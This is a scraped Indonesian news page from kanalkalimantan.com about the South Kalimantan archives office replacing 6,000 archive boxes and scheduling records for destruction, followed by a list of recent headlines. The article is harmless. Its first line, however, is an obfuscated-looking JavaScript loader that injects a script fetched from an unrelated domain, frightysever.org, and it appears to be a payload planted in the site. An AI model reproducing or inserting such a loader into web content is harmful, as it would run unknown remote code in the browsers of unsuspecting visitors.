(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Dispersip Kalsel

Depo Arsip Pemprov Kalsel Ganti 6000 Boks dengan yang Baru


KANALKALIMANTAN.COM, BANJARBARU – Dinas Perpustakaan dan Kerasipan (Dispersip) Provinsi Kalimantan Selatan melakukan renovasi dan penggantian boks arsip di Depo Arsip Pemprov Kalsel di Banjarbaru, Selasa (26/5/2020).

Sejumlah boks yang usang diganti dengan boks yang baru (reboxing) sebanyak 6000 boks. Juga pembenahan toilet, mushola, ruang pertemuan dan ruang lobi. Depo Arsip bekerja usai lebaran ini, satu persatu box yang usang diganti dan disusun kembali.

“Reboxing ini kami lakukan sekaligus pendataan arsip guna pemusnahan di tahap berikutnya,” kata Kepala Dispersip Kalsel Dra Hj Nurliani Dardie.

Ada 6000 boks baru yang disiapkan Depo Arsip Pemprov Kalsel di Banjarbaru –belakang Balai Kota Banjarbaru-. Penggantian boks arsip dengan yang baru tujuanya untuk melakukan efisiensi ruangan maupun biaya pemeliharaan.

“Sebab nanti setelah reboxing ini akan dipilihi arsip mana yang akan dimusnahkan di tahap selanjutnya. Karena jika arsip yang lama tidak dimusnahkan memerlukan biaya pemeliharaan yang tidak sedikit,” kata Kadispersip Kalsel.

Sebelumnya, Depo Arsip Pemprov Kalsel sudah memusnahakan 26.5858 berkas.

Salah satu sudut di Depo Arsip Pemprov Kalsel yang segera direnovasi karena rusak. foto: dispersip kalsel for kanalkalimantan

“Target kita 2021 sebanyak 28.000 berkas lagi dimusnahkan,” kata Bunda Nunung -biasa disapa-. Arsiparis Pelaksana Dispersip Kalsel, Muhammad Al Fajri menambahkan, memang dalam pemusnahan arsip tidak sembarang memusnahkan.

“Harus sesuai masa retensi arsip. Arsip keuangan misalnya itu masa retensinya 10 tahun dan arsip kepegawaian 5 tahun,” kata arsiparis Dispersip Kalsel ini.

“Nah, kalau masa retensinya di atas 10 tahun maka harus ada persetujuan arsip nasional. Setelah arsip nasional memberikan rekomendasi maka nanti gubernur akan membuat SK lagi untuk penghapusan,” pungkasnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.